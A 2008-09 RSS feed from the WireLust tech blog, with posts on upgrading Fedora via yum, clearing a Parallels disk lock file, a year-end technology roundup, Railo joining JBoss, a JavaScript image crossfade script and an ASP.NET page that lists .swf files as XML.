<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>WireLust</title>
	<atom:link href="http://www.wirelust.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wirelust.com</link>
	<description>Technology and stuff, you know.</description>
	<pubDate>Mon, 05 Jan 2009 16:14:39 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>Quick and dirty upgrade Fedora Core via Yum</title>
		<link>http://www.wirelust.com/2008/12/18/quick-and-dirty-upgrade-fedora-core-via-yum/</link>
		<comments>http://www.wirelust.com/2008/12/18/quick-and-dirty-upgrade-fedora-core-via-yum/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 23:50:47 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[fedora]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[fedora upgrade]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=90</guid>
		<description><![CDATA[First off Fedora has an awesome FAQ for how to upgrade your OS with Yum.    If you don&#8217;t care for all that reading and thinking, here is a quick and dirty set of notes I have been using to upgrade several servers.
This process is more likely to hose your config files, so [...]]]></description>
			<content:encoded><![CDATA[<p>First off Fedora has an <a href="http://fedoraproject.org/wiki/YumUpgradeFaq" target="_blank">awesome FAQ</a> for how to upgrade your OS with Yum.    If you don&#8217;t care for all that reading and thinking, here is a quick and dirty set of notes I have been using to upgrade several servers.</p>
<p>This process is more likely to hose your config files, so make sure you have them backed up somewhere. (I use subversion for everything in /etc).</p>
<p>This also assumes you are runlevel 3.  duh.</p>
<p>1. if you are connected via ssh, use screen.  Screen will save your life during long running processes, and generally you should be using it all the time anyway.<br />
<pre class="php">screen</pre></p>
<p>2. run an update first:<br />
<pre class="php">yum update</pre></p>
<p>3. check what you have installed:<br />
<pre class="php">yum <a href="http://www.php.net/list"><span style="color: #000066;">list</span></a> | grep installed</pre></p>
<p>4. remove anything you don&#8217;t need or use, it will just waste time and cause conflicts.  For me, I often find things like OpenOffice or Audio Programs on headless servers.  Sometimes I even remove stuff that I know is easy to add back later and isn&#8217;t required by the upgrade scripts. (firefox, cups, ImageMagick, crap like that)<br />
<pre class="php">yum remove openoffice.org</pre></p>
<p>5. change your repository.  The FAQ says you can do this with just installing the fedora-release-10-1.noarch.rpm. but that doesn&#8217;t seem to work for me.  It gets a conflict that you also need the release notes.   This seems to work better:<br />
<pre class="php">wget ftp:<span style="color: #808080; font-style: italic;">//download.fedora.redhat.com/pub/fedora/linux/releases/10/Everything/i386/os/Packages/fedora-release-10-1.noarch.rpm</span>
&nbsp;
wget ftp:<span style="color: #808080; font-style: italic;">//download.fedora.redhat.com/pub/fedora/linux/releases/10/Everything/i386/os/Packages/fedora-release-notes-10.0.0-1.noarch.rpm</span>
&nbsp;
rpm -u *.rpm</pre></p>
<p>6. clear out the old caches and files so it can detect that you need to update:<br />
<pre class="php">yum clean all</pre></p>
<p>7.  At this point you can just run &#8220;yum upgrade&#8221; and cross your fingers.  I like to do smaller updates of packages with a lot of dependencies.  I have had good results with combination of upgrades like this:<br />
<pre class="php">yum upgrade kernel
yum upgrade httpd
yum upgrade <a href="http://www.php.net/mysql"><span style="color: #000066;">mysql</span></a>
yum upgrade perl
yum upgrade</pre><br />
The last one of course upgrading anything not already touched by the others.</p>
<p>8. Depending on your configuration and what you have installed you will probably still have some dependency issues that will need to be resolved.  It wouldn&#8217;t be life without some issues though right?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/12/18/quick-and-dirty-upgrade-fedora-core-via-yum/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Removing Parallels hdd lock file</title>
		<link>http://www.wirelust.com/2008/12/16/removing-parallels-hdd-lock-file/</link>
		<comments>http://www.wirelust.com/2008/12/16/removing-parallels-hdd-lock-file/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 19:57:17 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[osx]]></category>

		<category><![CDATA[parallels]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=87</guid>
		<description><![CDATA[Parallels crashed on me this afternoon while Windows was installing patches and rebooting.  When I tried to start the system up again I kept getting this error message:

Parallels Desktop is unable to access the virtual hard disk image file winxp3.hdd. The file is missing, corrupted, or used by other application.

I knew that the file [...]]]></description>
			<content:encoded><![CDATA[<p>Parallels crashed on me this afternoon while Windows was installing patches and rebooting.  When I tried to start the system up again I kept getting this error message:</p>
<blockquote><p>
Parallels Desktop is unable to access the virtual hard disk image file winxp3.hdd. The file is missing, corrupted, or used by other application.
</p></blockquote>
<p>I knew that the file wasn&#8217;t in use by any other application because Parallels was no longer running and I had rebooted my machine.   </p>
<p>It took a bit of digging, but here is how to make it stop thinking the file is in use:</p>
<p>
- Locate your .hdd file (usually in ~/Library/Parallels)<br />
- Right click on the file and choose &#8220;Show Package Contents&#8221;<br />
<img src="/img/entries/parallels_lock_file_1.png" style="border: solid 1px black; margin:5px" width="250"/>
</p>
<p>
When the package is opened, look for a file called &#8220;DiskDescriptor.xml.lck&#8221;.  This is the file it uses to determine if the disk image is in use.  Toss this file in the trash and close the package.  Parallels should now start up.<br />
<img src="/img/entries/parallels_lock_file_2.png" style="border: solid 1px black; margin:5px" width="250"/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/12/16/removing-parallels-hdd-lock-file/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Technoloy Update</title>
		<link>http://www.wirelust.com/2008/11/20/technoloy-update/</link>
		<comments>http://www.wirelust.com/2008/11/20/technoloy-update/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 07:26:39 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=80</guid>
		<description><![CDATA[reposted from my lj.
Making lists sure helps me put things in perspective, so I thought I should make a list of technologies I&#8217;ve been working or playing with lately so I can sort of make a stamp in the sand for the end of the year.  I doubt many people will care, but here [...]]]></description>
			<content:encoded><![CDATA[<p>reposted from my lj.</p>
<p>Making lists sure helps me put things in perspective, so I thought I should make a list of technologies I&#8217;ve been working or playing with lately so I can sort of make a stamp in the sand for the end of the year.  I doubt many people will care, but here is what I&#8217;ve been doing technology wise:</p>
<h3>Java:</h3>
<p><b><a href="http://www.seamframework.org/" target="_blank">JBoss Seam</a></b>: It&#8217;s a bit of a shift going from request based applications to conversation based applications, and bijection is tough to wrap your head around mentally, but I&#8217;ve been liking Seam a lot.  I am able to get the robustness and enterprise features of J2EE with the speed of development frameworks like Ruby on Rails offer.</p>
<p><b><a href="https://glassfish.dev.java.net/" target="_blank">GlassFish</a></b>: As much as I&#8217;ve been liking Seam, I still sort of hate JBoss &#8212; it is hard to configure and the default settings aren&#8217;t what I think they should be.  GlassFish works the first time out of the box and is a dream to configure.</p>
<p><b><a href="http://en.wikipedia.org/wiki/Java_Persistence_API" target="_blank">JPA</a></b>: I can&#8217;t say JPA is any better than Hibernate Annotations (I think it is a little lacking compared to HA), but it seems to be where the industry is going and I think it is still way better than most persistence frameworks that have come out and it is nice to finally have a good standard.</p>
<p><b><a href="https://hudson.dev.java.net/" target="_blank">Hudson</a></b>: Hudson is a very nice easy to use continuous integration server.  that is all you need to know.</p>
<p><b><a href="http://maven.apache.org/" target="_blank">Maven</a></b>: Hate it.  I spend more time trying to configure maven than actually writing code.</p>
<h3>Javascript:</h3>
<p><b><a href="http://developer.yahoo.com/yui/" target="_blank">YUI</a></b>: There are a ton of javascript libraries out there and I have traditionally gone the prototype/scriptalicious route, but lately I&#8217;ve been using the Yahoo User Interface.  It is very easy to use, looks nice, and has a ton of widgets.</p>
<p><b><a href="http://cappuccino.org/" target="_blank">Cappuccino</a></b>: this is very new and somewhat limited right now.  What I like about this framework is: first that they made it look and act a lot like Objective-C.  For someone who has done any Objective-C work it is very easy to get up and running writing code.  The second thing that they have done, and I think this is more important, is to build a front end framework that starts and stops a browser application in a similar way to how a desktop application is started and stopped.  Cappuccino works a lot like GWT or Flex and frees you a lot from thinking about web apps in terms of request and response.  It lets you just get down and write an application.  I think it&#8217;s still a little lacking in features and widgets, but I&#8217;m sure those will come soon.</p>
<p><b><a href="http://www.jboss.org/jbossrichfaces/" target="_blank">Rich Faces</a></b>: Ships with Seam but is developed independently and not required to go with seam.  Their widget library is robust and works very smooth.  Still missing a few widgets and doesn&#8217;t integrate well with other frameworks but it seems promising.</p>
<h3>Flash:</h3>
<p><b><a href="http://www.multidmedia.com/" target="_blank">MDM Zinc</a></b>: I started working with Zinc because Adobe AIR can&#8217;t be bundled with a distributed application.  I&#8217;ve been very into it and done a few very cool simple applications.  The brick walls I have been hitting that prevent me from using this a ton more are mostly Flash limitations, most noticeably the inability to build a multi-threaded application.  With a heavy networked app, I can get it to run 20 times faster with a threaded Java application than with straight actionscript.  MDM allows you to thread through custom extenstions but the extensions have to be written in C++, easy in Windows but annoyingly difficult in OSX.</p>
<p><b><a href="http://five3d.mathieu-badimon.com/" target="_blank">Five 3D</a></b>: I&#8217;ve been playing around with a lot of 3D frameworks.  I like Five 3d the most for the type of stuff I&#8217;ve been doing because it treats all text as vector, rather than raterising like Sandy or PaperVision do.  I have some disagreements the the way the core of the framework is written and changed a few things to be more Object Oriented and streamlined, but performance is still killing me.  Supposedly Adobe is adding similar 3d stuff to Flash 10, but I haven&#8217;t tried it yet to see.</p>
<h3>Mobile:</h3>
<p><b>IPhone - Cocoa Touch</b>: I started a few demo applications that I was very excited about for a few weeks.  Since then I have been waiting for Apple for approval (permission) to test my applications on my phone.  It&#8217;s totally annoying that I can&#8217;t even check the status of my application or have an expectation as to when I will get approved.</p>
<p><b>Android</b>: I like android&#8217;s platform and SDK slightly better than IPhone but there are a few things that I think will keep me from being serious about it for a while:<br />
1. I don&#8217;t own an android phone and am not anxious to shell out for another new phone<br />
2. The G1 sucks hardware wise compared to an iPhone, it looks similar on paper but needs a hard drive, better form factor, and generally a bump in the numbers.<br />
3. MultiTouch missing and probably not coming anytime soon.</p>
<h3>Software:</h3>
<p><b><a href="http://www.nagios.org/" target="_blank">Nagios</a></b>: I set up Nagios for monitoring the 10+ servers I am responsible for.  I was resisting for a long time because I don&#8217;t like that it has a single point of failure &#8212; it assumes the server running nagios has 100% uptime &#8212; but I finally gave in and it has been working fairly well.</p>
<p><b><a href="http://www.activestate.com/Products/komodo_ide/komodo_edit.mhtml" target="_blank">Komodo Edit</a></b>: After 10 years, Komodo edit is finally slowly replacing my default general text editor on Windows.  I still like textmate on OSX better, but Komodo is working pretty awesome and performs identical on all platforms.</p>
<p><b><a href="http://www.sparxsystems.com.au/" target="_blank">Enterprise Architect</a></b>: I&#8217;ve struggled for years with a mix of modeling software.  I&#8217;ve used everything including <a href="http://www-01.ibm.com/software/rational/" target="_blank">Rational Rose</a>, <a href="http://www.microsoft.com" target="_blank">Visio</a>, <a href="http://argouml.tigris.org/" target="_blank">AggroUML</a>, and <a href="http://www.omnigroup.com" target="_blank">OmniGraffle</a>; often times using more than one program for a single project.  I dove in early this year and tried using Enterprise Architect for everything and for once I have a tool that I feel is 90% of the way there.  The other 10% is probably just me being stubborn.  At just over $200, it is a total bargain and offers a very similar feature set to Rational Rose.  If you do any UML, system, or database design, it is worth a try.</p>
<h3>Databases:</h3>
<p><b>MySQL</b>: I bought all marketing over the past few years and thought MySQL was totally up to speed with SQL Server and Oracle in terms of speed and reliability.  For the most part MySQL has performed very well for me and any new projects I do in MySQL.  My beef lately is that the engine still isn&#8217;t nearly as awesome as Sql Server or Oracle in terms of parallelism, online indexing, and preventing locks.  Once you get up to 100,000,000 rows or so you start to have to do all sorts of hacks to operate on large sets of rows within a single query - otherwise it locks the entire database.  I am not that far into my first major MySQL project and maybe I will learn some easy tricks to get past the limitations, but I haven&#8217;t seen any magic bullets yet.</p>
<h3>Stuff to hopefully try soon:</h3>
<p><b>Cocoa Touch on Actual Hardware</b>: Hopefully I will get approval from apple soon and be able to finally test some apps on my phone.</p>
<p><b><a href="http://www.graniteds.org" target="_blank">Granite Data Services</a></b>: JBoss Seam + Adobe Flex = Free alternative to Adobe LifeCycle Data Services.  looks pretty rad.</p>
<p><b><a href="https://ajax.dev.java.net/" target="_blank">JMaki</a></b>: More Ajax stuff with some interesting demos.</p>
<p><b><a href="http://www.djangoproject.com/" target="_blank">Django</a></b>: This shit is all the hype so I gotta see what it is about.  Looks like RoR without the annoying community.  Plus you can deploy to Google AppEngine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/11/20/technoloy-update/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Railo joins Jboss. How did I miss this?</title>
		<link>http://www.wirelust.com/2008/11/20/railo-joins-jboss-how-did-i-miss-this/</link>
		<comments>http://www.wirelust.com/2008/11/20/railo-joins-jboss-how-did-i-miss-this/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 07:24:28 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[web]]></category>

		<category><![CDATA[CFM]]></category>

		<category><![CDATA[JVM]]></category>

		<category><![CDATA[Scripting]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=77</guid>
		<description><![CDATA[I spend most of my days lately doing enterprise-ish type stuff in Java.  Way back in the day though, my first paying programming job was writing Cold Fusion during the first dot-com upsurge.  Since then I have always had a bit of a soft spot for CFML.  I still think it is [...]]]></description>
			<content:encoded><![CDATA[<p>I spend most of my days lately doing enterprise-ish type stuff in Java.  Way back in the day though, my first paying programming job was writing Cold Fusion during the first dot-com upsurge.  Since then I have always had a bit of a soft spot for CFML.  I still think it is one of the best languages for non-pro programmers to write pages in and for professionals to do quick mock-ups with.  When compared to PHP I think it is generally a better framework for prototyping and simple applications.   </p>
<p>The one thing that has always kept me, and I&#8217;m sure many others, from choosing CFM for anything was the fact that the license costs over $1000 and not many web-hosts support it.  </p>
<p>I sort of always thought Macromedia would open source Cold Fusion and I&#8217;m somewhat surprised Adobe hasn&#8217;t made moves in this direction.   Over the past few years several projects have made some front is building an open source alternative.  <a href="http://www.smithproject.org/" target="_blank">The smith project</a> looked like it was the best option until it seemed to fizzle out earlier this year.    Now, after clicking around I noticed a <a href="http://www.railo-technologies.com/en/index.cfm?treeID=357" target="_blank">press release</a> that Railo has joined Jboss and will be open sourced!  </p>
<p>This is huge news if you are a fan of CFM.  Jboss has a lot of clout and resources to get things done.  I expect that they will release something that is solid and eventually compete on par with the offerings from Adobe itself.</p>
<p>This combined with the progress people have made running other languages on the JVM - Groovy, Scala, Ruby, PHP, and Python - makes java application servers a clear choice for running all sorts of scripted sites on true application servers.</p>
<p>Now, will someone please open source a port of ASP classic so I can host all my legacy apps on linux?  (Sun, I&#8217;m looking at you.  who is paying for Sun Java System ASP anyway?).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/11/20/railo-joins-jboss-how-did-i-miss-this/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Javascript Image Morph</title>
		<link>http://www.wirelust.com/2008/11/16/javascript-image-morph/</link>
		<comments>http://www.wirelust.com/2008/11/16/javascript-image-morph/#comments</comments>
		<pubDate>Sun, 16 Nov 2008 22:00:49 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[web]]></category>

		<category><![CDATA[javascript morph scripalicious prototype]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=75</guid>
		<description><![CDATA[I&#8217;ve been working on an image gallery and needed a way to do nice fade/morphs between a list of images for a slideshow.  I used prototype and scriptalicious.  Here is how I did it:
See the Demo Here
Download Entire Source of Example
Javascript to do the work:
//preload the images and load them into an array
imageArray [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working on an image gallery and needed a way to do nice fade/morphs between a list of images for a slideshow.  I used prototype and scriptalicious.  Here is how I did it:</p>
<p><a href="/examples/javascript_image_morph/" target="_blank">See the Demo Here</a></p>
<p><a href="/examples/javascript_image_morph/javascript_image_morph.zip">Download Entire Source of Example</a></p>
<p>Javascript to do the work:<br />
<pre class="javascript"><span style="color: #009900; font-style: italic;">//preload the images and load them into an array</span>
imageArray = <span style="color: #003366; font-weight: bold;">new</span> Array<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; 
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> image01 = <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
image01.<span style="color: #006600;">src</span> = <span style="color: #3366CC;">'photo_01.jpg'</span>;
imageArray<span style="color: #66cc66;">&#91;</span>imageArray.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#93;</span> = image01;
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> image02 = <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
image02.<span style="color: #006600;">src</span> = <span style="color: #3366CC;">'photo_02.jpg'</span>;
imageArray<span style="color: #66cc66;">&#91;</span>imageArray.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#93;</span> = image02;
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> image03 = <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
image03.<span style="color: #006600;">src</span> = <span style="color: #3366CC;">'photo_03.jpg'</span>;
imageArray<span style="color: #66cc66;">&#91;</span>imageArray.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#93;</span> = image03;
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> image04 = <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
image04.<span style="color: #006600;">src</span> = <span style="color: #3366CC;">'photo_04.jpg'</span>;
imageArray<span style="color: #66cc66;">&#91;</span>imageArray.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#93;</span> = image04;
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> image05 = <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
image05.<span style="color: #006600;">src</span> = <span style="color: #3366CC;">'photo_05.jpg'</span>;
imageArray<span style="color: #66cc66;">&#91;</span>imageArray.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#93;</span> = image05;
&nbsp;
<span style="color: #009900; font-style: italic;">// imageIndex is going to be the index of the next image to display.  </span>
<span style="color: #009900; font-style: italic;">// images 0 and 1 are already loaded into the html</span>
<span style="color: #003366; font-weight: bold;">var</span> imageIndex = <span style="color: #CC0000;">1</span>;
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> switchImage<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<span style="color: #009900; font-style: italic;">// place the next image to be displayed to the front</span>
	$<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'imageFront'</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">src</span> = imageArray<span style="color: #66cc66;">&#91;</span>imageIndex<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">src</span>;
&nbsp;
	<span style="color: #009900; font-style: italic;">// make the image in front appear, when it is done swap it with the image in the back</span>
	<span style="color: #003366; font-weight: bold;">new</span> Effect.<span style="color: #006600;">Appear</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'imageFront'</span>, <span style="color: #66cc66;">&#123;</span>
		afterFinish: <span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> 
			<span style="color: #009900; font-style: italic;">// make the image in the back the same src as the image in the front</span>
			$<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'imageBehind'</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">src</span> = $<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'imageFront'</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">src</span>;
			
			<span style="color: #009900; font-style: italic;">//hide the image in the front</span>
			$<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'imageFront'</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">style</span>.<span style="color: #006600;">display</span> = <span style="color: #3366CC;">'none'</span>;
			
			<span style="color: #009900; font-style: italic;">// increment the index</span>
			imageIndex++;
			<span style="color: #009900; font-style: italic;">// if we have indexed past the end of the array, go back to zero</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>imageIndex == imageArray.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> 
				imageIndex = <span style="color: #CC0000;">0</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></p>
<p>Within the HTML, the only tricky thing here is that you need to position the two IMG tags so they are on top of each other.  For my purpose absolute positioning was okay.  It may take  alittle more work for relative positioning.</p>
<p><pre class="php">&lt;html&gt;
&lt;head&gt;
	&lt;script type=<span style="color: #ff0000;">&quot;text/javascript&quot;</span> src=<span style="color: #ff0000;">&quot;js/prototype.js&quot;</span>&gt;&lt;/script&gt;
	&lt;script type=<span style="color: #ff0000;">&quot;text/javascript&quot;</span> src=<span style="color: #ff0000;">&quot;js/scriptaculous.js?load=effects&quot;</span>&gt;&lt;/script&gt;
	<span style="color: #000000; font-weight: bold;">&lt;script language</span>=<span style="color: #ff0000;">&quot;javascript&quot;</span>&gt;
             <span style="color: #808080; font-style: italic;">/* code from above goes here */</span>
	<span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span>
&lt;/head&gt;
&lt;body onload=<span style="color: #ff0000;">&quot;setInterval('switchImage()', 3000);&quot;</span>&gt;
	&lt;img id=<span style="color: #ff0000;">&quot;imageBehind&quot;</span> src=<span style="color: #ff0000;">&quot;photo_01.jpg&quot;</span> style=<span style="color: #ff0000;">&quot;position:absolute; top:0; left:0;&quot;</span> /&gt;
	&lt;img id=<span style="color: #ff0000;">&quot;imageFront&quot;</span> src=<span style="color: #ff0000;">&quot;photo_02.jpg&quot;</span> style=<span style="color: #ff0000;">&quot;position:absolute; top:0; left:0; display:none;&quot;</span> /&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></p>
<p>** update.   thanks to <a href="http://www.thisisstar.com" target="_blank">Star</a> for letting me know that the morph blinked in Firefox 2.0.   I fixed the post and the example so it doesn&#8217;t do that anymore. **</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/11/16/javascript-image-morph/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Simple .NET script to list all of the .swf files in a folder as XML</title>
		<link>http://www.wirelust.com/2008/11/13/simple-net-script-to-list-all-of-the-swf-files-in-a-folder-as-xml/</link>
		<comments>http://www.wirelust.com/2008/11/13/simple-net-script-to-list-all-of-the-swf-files-in-a-folder-as-xml/#comments</comments>
		<pubDate>Fri, 14 Nov 2008 00:56:21 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=71</guid>
		<description><![CDATA[Here is some handy code for if you have a bunch of .swf files and you need to get some XML to load them into flash.  It should also totally be easy to change the script to list any file type you need enumerated.
&#60;%@ Page ContentType=&#34;text/xml&#34; %&#62;
&#60;%@ Import Namespace=&#34;System.Xml&#34; %&#62;
&#60;%@ Import Namespace=&#34;System.IO&#34; %&#62;
&#60;script language=&#34;C#&#34; [...]]]></description>
			<content:encoded><![CDATA[<p>Here is some handy code for if you have a bunch of .swf files and you need to get some XML to load them into flash.  It should also totally be easy to change the script to list any file type you need enumerated.</p>
<p><pre class="asp"><span style="color: #0000ff; font-weight: bold;">&lt;%</span>@ Page <span style="color: #330066;">ContentType</span>=<span style="color: #cc0000;">&quot;text/xml&quot;</span> <span style="color: #0000ff; font-weight: bold;">%&gt;</span>
<span style="color: #0000ff; font-weight: bold;">&lt;%</span>@ Import Namespace=<span style="color: #cc0000;">&quot;System.Xml&quot;</span> <span style="color: #0000ff; font-weight: bold;">%&gt;</span>
<span style="color: #0000ff; font-weight: bold;">&lt;%</span>@ Import Namespace=<span style="color: #cc0000;">&quot;System.IO&quot;</span> <span style="color: #0000ff; font-weight: bold;">%&gt;</span>
<span style="color: #0000ff; font-weight: bold;">&lt;script language=</span><span style="color: #cc0000;">&quot;C#&quot;</span> runat=<span style="color: #cc0000;">&quot;server&quot;</span>&gt;
	void Page_Load<span style="color: #006600; font-weight:bold">&#40;</span>object sender, System.<span style="color: #9900cc;">EventArgs</span> e<span style="color: #006600; font-weight:bold">&#41;</span> <span style="color: #006600; font-weight:bold">&#123;</span>
		XmlWriter writer = XmlWriter.<span style="color: #9900cc;">Create</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #990099; font-weight: bold;">Response</span>.<span style="color: #9900cc;">OutputStream</span><span style="color: #006600; font-weight:bold">&#41;</span>;
		
		writer.<span style="color: #9900cc;">WriteStartElement</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #cc0000;">&quot;scenes&quot;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
		DirectoryInfo di = <span style="color: #0000ff; font-weight: bold;">new</span> DirectoryInfo<span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #990099; font-weight: bold;">Server</span>.<span style="color: #330066;">MapPath</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #cc0000;">&quot;&quot;</span><span style="color: #006600; font-weight:bold">&#41;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
		FileInfo<span style="color: #006600; font-weight:bold">&#91;</span><span style="color: #006600; font-weight:bold">&#93;</span> files = di.<span style="color: #9900cc;">GetFiles</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #cc0000;">&quot;*.swf&quot;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
		foreach<span style="color: #006600; font-weight:bold">&#40;</span>FileInfo fi <span style="color: #990099; font-weight: bold;">in</span> files<span style="color: #006600; font-weight:bold">&#41;</span> <span style="color: #006600; font-weight:bold">&#123;</span>
			
			writer.<span style="color: #9900cc;">WriteStartElement</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #cc0000;">&quot;movie&quot;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
			writer.<span style="color: #9900cc;">WriteAttributeString</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #cc0000;">&quot;name&quot;</span>, fi.<span style="color: #9900cc;">Name</span><span style="color: #006600; font-weight:bold">&#41;</span>;
			writer.<span style="color: #9900cc;">WriteEndElement</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
&nbsp;
		<span style="color: #006600; font-weight:bold">&#125;</span>
		writer.<span style="color: #9900cc;">WriteEndElement</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
&nbsp;
		writer.<span style="color: #330066;">Close</span><span style="color: #006600; font-weight:bold">&#40;</span><span style="color: #006600; font-weight:bold">&#41;</span>;
	<span style="color: #006600; font-weight:bold">&#125;</span>
<span style="color: #0000ff; font-weight: bold;">&lt;/script&gt;</span></pre></p>
<p>This will output something like:<br />
<pre class="xml"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="font-weight: bold; color: black;">?&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;scenes<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;movie</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;scene_001.swf&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;movie</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;scene_002.swf&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;movie</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;scene_003.swf&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;movie</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;scene_004.swf&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;movie</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;scene_005.swf&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;movie</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;scene_006.swf&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/scenes<span style="font-weight: bold; color: black;">&gt;</span></span></span></pre></p>
]]></content:encoded>
